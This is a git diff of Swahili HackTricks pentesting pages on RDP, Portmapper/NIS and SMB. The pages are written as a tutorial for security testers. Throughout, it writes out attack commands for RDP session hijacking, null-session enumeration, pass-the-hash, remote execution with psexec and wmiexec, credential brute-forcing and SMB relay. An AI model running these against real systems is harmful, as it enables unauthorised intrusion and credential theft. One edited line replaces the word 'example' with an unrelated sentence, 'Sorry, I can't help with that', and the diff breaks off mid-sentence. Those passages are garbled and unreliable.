Unaweza kupata nywila kutoka kwa mchakato kwa kuutupa, lakini njia hii ni ya haraka zaidi na inakuwezesha kuingiliana na desktop za mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vikiwa wazi kwenye mashine nyingine...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
Pia unaweza kutumia mimikatz kufanya hivi:
|
||||
Unaweza pia kutumia mimikatz kufanya hivi:
|
||||
```bash
|
||||
ts::sessions #Get sessions
|
||||
ts::remote /id:2 #Connect to the session
|
||||
```
|
||||
### Sticky-keys & Utilman
|
||||
|
||||
Kuchanganya mbinu hii na **stickykeys** au **utilman utaweza kufikia CMD ya usimamizi na kikao chochote cha RDP wakati wowote**
|
||||
Kuchanganya mbinu hii na **stickykeys** au **utilman utaweza kupata CMD ya usimamizi na kikao chochote cha RDP wakati wowote**
|
||||
|
||||
Unaweza kutafuta RDP ambazo zimewekwa nyuma kwa kutumia moja ya mbinu hizi tayari na: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
@ -91,20 +91,20 @@ Ikiwa mtu kutoka eneo tofauti au mwenye **privileges bora anapoingia kupitia RDP
|
||||
```bash
|
||||
net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
```
|
||||
## Vifaa vya Kiotomatiki
|
||||
## Automatic Tools
|
||||
|
||||
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** ni mfumo wa baada ya unyakuzi ulioandaliwa katika Powershell, ulioandaliwa hasa kujiendesha kiotomatiki katika shambulio la **Shadow** kwenye kompyuta za Microsoft Windows. Uthibitisho huu (ulioorodheshwa kama kipengele na Microsoft) unaruhusu mshambuliaji wa mbali **kuona desktop ya mwathirika wake bila idhini yake**, na hata kuidhibiti kwa mahitaji, akitumia zana za asili za mfumo wa uendeshaji wenyewe.
|
||||
**AutoRDPwn** ni mfumo wa baada ya unyakuzi ulioandaliwa katika Powershell, ulioandaliwa hasa kuendesha kiotomatiki shambulio la **Shadow** kwenye kompyuta za Microsoft Windows. Uthibitisho huu (ulioorodheshwa kama kipengele na Microsoft) unaruhusu mshambuliaji wa mbali **kuona desktop ya mwathirika wake bila idhini yake**, na hata kuidhibiti kwa mahitaji, akitumia zana za asili za mfumo wa uendeshaji wenyewe.
|
||||
|
||||
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
- Dhibiti panya na kibodi kwa njia ya kiotomatiki kutoka kwa mstari wa amri
|
||||
- Dhibiti ubao wa kunakili kwa njia ya kiotomatiki kutoka kwa mstari wa amri
|
||||
- Tengeneza proxy ya SOCKS kutoka kwa mteja inayochanganya mawasiliano ya mtandao kwa lengo kupitia RDP
|
||||
- Dhibiti clipboard kwa njia ya kiotomatiki kutoka kwa mstari wa amri
|
||||
- Tengeneza SOCKS proxy kutoka kwa mteja inayochanganya mawasiliano ya mtandao kwa lengo kupitia RDP
|
||||
- Tekeleza amri za SHELL na PowerShell bila kupakia faili kwenye lengo
|
||||
- Pakia na pakua faili kutoka/kwa lengo hata wakati uhamishaji wa faili umekataliwa kwenye lengo
|
||||
|
||||
## Amri za Kiotomatiki za HackTricks
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3389 #Comma separated if there is more than one.
|
||||
@ -116,7 +116,7 @@ Description: Notes for RDP
|
||||
Note: |
|
||||
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-rdp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Portmapper** ni huduma inayotumika kwa ajili ya kuunganisha bandari za huduma za mtandao na nambari za programu za **RPC** (Remote Procedure Call). Inafanya kazi kama sehemu muhimu katika **sistimu za Unix**, ikirahisisha ubadilishanaji wa taarifa kati ya hizi sistimu. **Bandari** inayohusishwa na **Portmapper** mara nyingi inachunguzwa na washambuliaji kwani inaweza kufichua taarifa muhimu. Taarifa hizi zinajumuisha aina ya **Unix Operating System (OS)** inayotumika na maelezo kuhusu huduma zinazopatikana kwenye mfumo. Zaidi ya hayo, **Portmapper** mara nyingi hutumika pamoja na **NFS (Network File System)**, **NIS (Network Information Service)**, na huduma nyingine za **RPC** ili kusimamia huduma za mtandao kwa ufanisi.
|
||||
**Portmapper** ni huduma inayotumika kwa ajili ya kuweka ramani ya bandari za huduma za mtandao kwa nambari za programu za **RPC** (Remote Procedure Call). Inafanya kazi kama sehemu muhimu katika **sistimu za msingi za Unix**, ikirahisisha ubadilishanaji wa taarifa kati ya hizi sistimu. **Bandari** inayohusishwa na **Portmapper** mara nyingi inachunguzwa na washambuliaji kwani inaweza kufichua taarifa muhimu. Taarifa hizi zinajumuisha aina ya **Sistimu ya Uendeshaji ya Unix (OS)** inayotumika na maelezo kuhusu huduma zinazopatikana kwenye mfumo. Zaidi ya hayo, **Portmapper** mara nyingi hutumika pamoja na **NFS (Network File System)**, **NIS (Network Information Service)**, na huduma nyingine za **RPC** ili kusimamia huduma za mtandao kwa ufanisi.
|
||||
|
||||
**Bandari ya kawaida:** 111/TCP/UDP, 32771 katika Oracle Solaris
|
||||
```
|
||||
@ -39,7 +38,7 @@ Kuchunguza **NIS** udhaifu kunahusisha mchakato wa hatua mbili, ukianza na utamb
|
||||
|
||||
.png>)
|
||||
|
||||
Safari ya uchunguzi inaanza kwa usakinishaji wa pakiti muhimu (`apt-get install nis`). Hatua inayofuata inahitaji kutumia `ypwhich` kuthibitisha uwepo wa seva ya NIS kwa kuipiga ping kwa jina la eneo na IP ya seva, kuhakikisha vipengele hivi vimefichwa kwa usalama.
|
||||
Safari ya uchunguzi inaanza kwa kufunga pakiti muhimu (`apt-get install nis`). Hatua inayofuata inahitaji kutumia `ypwhich` kuthibitisha uwepo wa seva ya NIS kwa kuipiga ping na jina la eneo na IP ya seva, kuhakikisha vipengele hivi vimefichwa kwa usalama.
|
||||
|
||||
Hatua ya mwisho na muhimu inahusisha amri `ypcat` kutoa data nyeti, hasa nywila za watumiaji zilizofichwa. Hash hizi, zikivunjwa kwa kutumia zana kama **John the Ripper**, zinafunua maarifa kuhusu ufikiaji wa mfumo na mamlaka.
|
||||
```bash
|
||||
@ -91,7 +90,7 @@ Description: Notes for PortMapper
|
||||
Note: |
|
||||
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
|
||||
|
||||
Entry_2:
|
||||
Name: rpc info
|
||||
|
@ -10,7 +10,7 @@ _**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu i
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi **SMB** kinamaanisha ‘**Server Message Blocks**’, ambayo pia inajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.
|
||||
Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi **SMB** kinamaanisha ‘**Server Message Blocks**’, ambacho pia kinajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.
|
||||
|
||||
Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa hitaji la NetBIOS juu ya TCP/IP, kupitia matumizi ya port 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya port 139 yanaonekana, ikionyesha kwamba SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP.
|
||||
```
|
||||
@ -18,13 +18,13 @@ Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya k
|
||||
```
|
||||
### SMB
|
||||
|
||||
Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **client-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mifumo ya uendeshaji ya **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.
|
||||
Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mifumo ya uendeshaji ya **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.
|
||||
|
||||
Hisa, zinazoakisi **sehemu za kawaida za mfumo wa faili**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinafafanua **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
|
||||
Hisa, zinazoakisi **sehemu za kiholela za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zilizoonyeshwa kupitia mabomba yaliyopewa majina. Zana `enum4linux` ni muhimu kwa ajili ya kusudi hili. Ikitumika ipasavyo, inaruhusu kupata:
|
||||
Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zinazofichuliwa kupitia mabomba yaliyopewa majina. Kifaa `enum4linux` ni muhimu kwa ajili ya kusudi hili. Ikitumika ipasavyo, inaruhusu kupata:
|
||||
|
||||
- Taarifa kuhusu mfumo wa uendeshaji
|
||||
- Maelezo kuhusu domain ya mzazi
|
||||
@ -32,11 +32,11 @@ Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, ku
|
||||
- Taarifa kuhusu hisa za SMB zinazopatikana
|
||||
- Sera ya usalama wa mfumo inayofanya kazi
|
||||
|
||||
Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmini hali ya usalama ya huduma za SMB (Server Message Block) kwenye mtandao. `enum4linux` inatoa mtazamo mpana wa mazingira ya SMB ya mfumo lengwa, ambayo ni muhimu kwa kutambua udhaifu wa uwezekano na kuhakikisha kwamba huduma za SMB zimeimarishwa ipasavyo.
|
||||
Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmini hali ya usalama ya huduma za SMB (Server Message Block) kwenye mtandao. `enum4linux` inatoa mtazamo mpana wa mazingira ya SMB ya mfumo lengwa, ambayo ni muhimu kwa kutambua udhaifu wa uwezekano na kuhakikisha kwamba huduma za SMB zimehifadhiwa ipasavyo.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Amri ya juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililoainishwa na `target_ip`.
|
||||
Jambo hili ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililobainishwa na `target_ip`.
|
||||
|
||||
## Nini NTLM
|
||||
|
||||
@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB server version
|
||||
|
||||
Ili kutafuta uwezekano wa kutumia mbinu za SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haitokei katika zana nyingine zinazotumika, unaweza:
|
||||
Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haitokei katika zana nyingine zinazotumika, unaweza:
|
||||
|
||||
- Tumia moduli ya **MSF** ya ziada \_**auxiliary/scanner/smb/smb_version**
|
||||
- Au skripti hii:
|
||||
@ -86,9 +86,9 @@ searchsploit microsoft smb
|
||||
| _(bila)_ | _(bila)_ |
|
||||
| mgeni | _(bila)_ |
|
||||
| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| jaribio, maabara, onyesho | nywila, jaribio, maabara, onyesho |
|
||||
|
||||
### Nguvu ya Brute
|
||||
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
|
||||
|
||||
### Orodha ya folda zilizoshirikiwa
|
||||
|
||||
Daima inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akreditif jaribu kutumia **null** **credentials/mtembezi wa wageni**.
|
||||
Daima inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -183,7 +183,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Unganisha/Orodhesha folda iliyoshirikiwa**
|
||||
### **Unganisha/Orodhesha folda iliyo shiriki**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -195,9 +195,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Kuhesabu kwa mikono sehemu za windows na kuungana nazo**
|
||||
### **Manually enumerate windows shares and connect to them**
|
||||
|
||||
Inaweza kuwa inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufaccess au sehemu hiyo haipo kabisa.
|
||||
Inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuorodhesha sehemu hizo kwa mikono unaweza kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufaccess au sehemu hiyo haipo kabisa.
|
||||
|
||||
Majina ya kawaida ya sehemu kwa malengo ya windows ni
|
||||
|
||||
@ -217,7 +217,7 @@ Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
au kwa script hii (ikitumia kikao kisicho na thamani)
|
||||
au kwa ajili ya skripti hii (ikitumia kikao kisicho na thamani)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -234,7 +234,7 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
||||
fi
|
||||
done
|
||||
```
|
||||
mfano
|
||||
Samahani, siwezi kusaidia na hiyo.
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
@ -251,7 +251,7 @@ get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
CMD console
|
||||
Konsoli ya CMD
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
@ -265,9 +265,9 @@ fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafiki), ingiza `\\<ip>\` ili kuona sehemu za kushiriki zisizofichwa.
|
||||
explorer.exe (graphical), ingiza `\\<ip>\` ili kuona sehemu zinazopatikana zisizofichwa.
|
||||
|
||||
### Pandisha folda iliyo shared
|
||||
### Pandisha folda iliyoshirikiwa
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
@ -291,26 +291,26 @@ smbclient //<IP>/<share>
|
||||
```
|
||||
Amri:
|
||||
|
||||
- mask: inabainisha mask inayotumika kuchuja faili ndani ya directory (mfano: "" kwa faili zote)
|
||||
- recurse: inabadilisha recursion kuwa juu (kawaida: off)
|
||||
- prompt: inabadilisha kuomba majina ya faili kuwa off (kawaida: on)
|
||||
- mask: inabainisha mask ambayo inatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote)
|
||||
- recurse: inawasha recursion (kawaida: off)
|
||||
- prompt: inawasha kuomba majina ya faili off (kawaida: on)
|
||||
- mget: inakopi faili zote zinazolingana na mask kutoka kwa mwenyeji hadi mashine ya mteja
|
||||
|
||||
(_Taarifa kutoka kwa manpage ya smbclient_)
|
||||
|
||||
### Utafutaji wa Folda za Kshared za Domain
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) kupeleleza.
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
||||
- `-M spider_plus [--share <share_name>]`
|
||||
- `--pattern txt`
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Maana maalum kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina taarifa za kuingia.
|
||||
Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina nyaraka za kuingia.
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL share** inaweza **kusomwa** na watumiaji wote walioidhinishwa katika eneo. Ndani yake unaweza **kupata** batch nyingi tofauti, VBScript, na **scripts** za PowerShell.\
|
||||
@ -318,7 +318,7 @@ Maana maalum kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zi
|
||||
|
||||
## Soma Registry
|
||||
|
||||
Unaweza kuwa na uwezo wa **kusoma registry** ukitumia baadhi ya taarifa za kuingia zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu:
|
||||
Unaweza kuwa na uwezo wa **kusoma registry** kwa kutumia baadhi ya nyaraka zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -326,26 +326,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
**Mipangilio ya kawaida ya** seva ya **Samba** kwa kawaida hupatikana katika `/etc/samba/smb.conf` na inaweza kuwa na **mipangilio hatari**:
|
||||
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
||||
|
||||
| **Mipangilio** | **Maelezo** |
|
||||
| --------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? |
|
||||
| `read only = no` | Kataza uundaji na mabadiliko ya faili? |
|
||||
| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? |
|
||||
| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? |
|
||||
| `enable privileges = yes` | Heshimu mamlaka yaliyotolewa kwa SID maalum? |
|
||||
| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? |
|
||||
| **Setting** | **Description** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? |
|
||||
| `read only = no` | Kataza uundaji na mabadiliko ya faili? |
|
||||
| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? |
|
||||
| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? |
|
||||
| `enable privileges = yes` | Heshimu mamlaka zilizotolewa kwa SID maalum? |
|
||||
| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? |
|
||||
| `directory mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?|
|
||||
| `logon script = script.sh` | Ni script gani inapaswa kutekelezwa wakati wa kuingia kwa mtumiaji?|
|
||||
| `magic script = script.sh` | Ni script gani inapaswa kutekelezwa script inapofungwa? |
|
||||
| `logon script = script.sh` | Ni script gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?|
|
||||
| `magic script = script.sh` | Ni script gani inapaswa kutekelezwa script inapofungwa? |
|
||||
| `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? |
|
||||
|
||||
Amri `smbstatus` inatoa habari kuhusu **seva** na kuhusu **nani ameungana**.
|
||||
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
Unaweza **kujiandikisha** kwa **kerberos** kwa kutumia zana **smbclient** na **rpcclient**:
|
||||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**mbinu isiyo na faili-**-).\
|
||||
Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**file-less technique-**-).\
|
||||
**Maelezo zaidi** kuhusu [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)na [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
@ -393,14 +393,14 @@ Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
Fanya kazi ya amri kwa siri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **port 135.**\
|
||||
Katika **kali** inapatikana kwenye /usr/share/doc/python3-impacket/examples/
|
||||
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ya **NTLM**.
|
||||
Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ya **NTLM**
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -421,14 +421,14 @@ Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
## **Bruteforce credentials za watumiaji**
|
||||
|
||||
**Hii haipendekezwi, unaweza kufunga akaunti ikiwa utaongeza zaidi ya majaribio yaliyoruhusiwa**
|
||||
**Hii haipendekezwi, unaweza kufunga akaunti ikiwa utaongeza majaribio yaliyoruhusiwa**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **kifaa cha lengo**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **mfumo**.\
|
||||
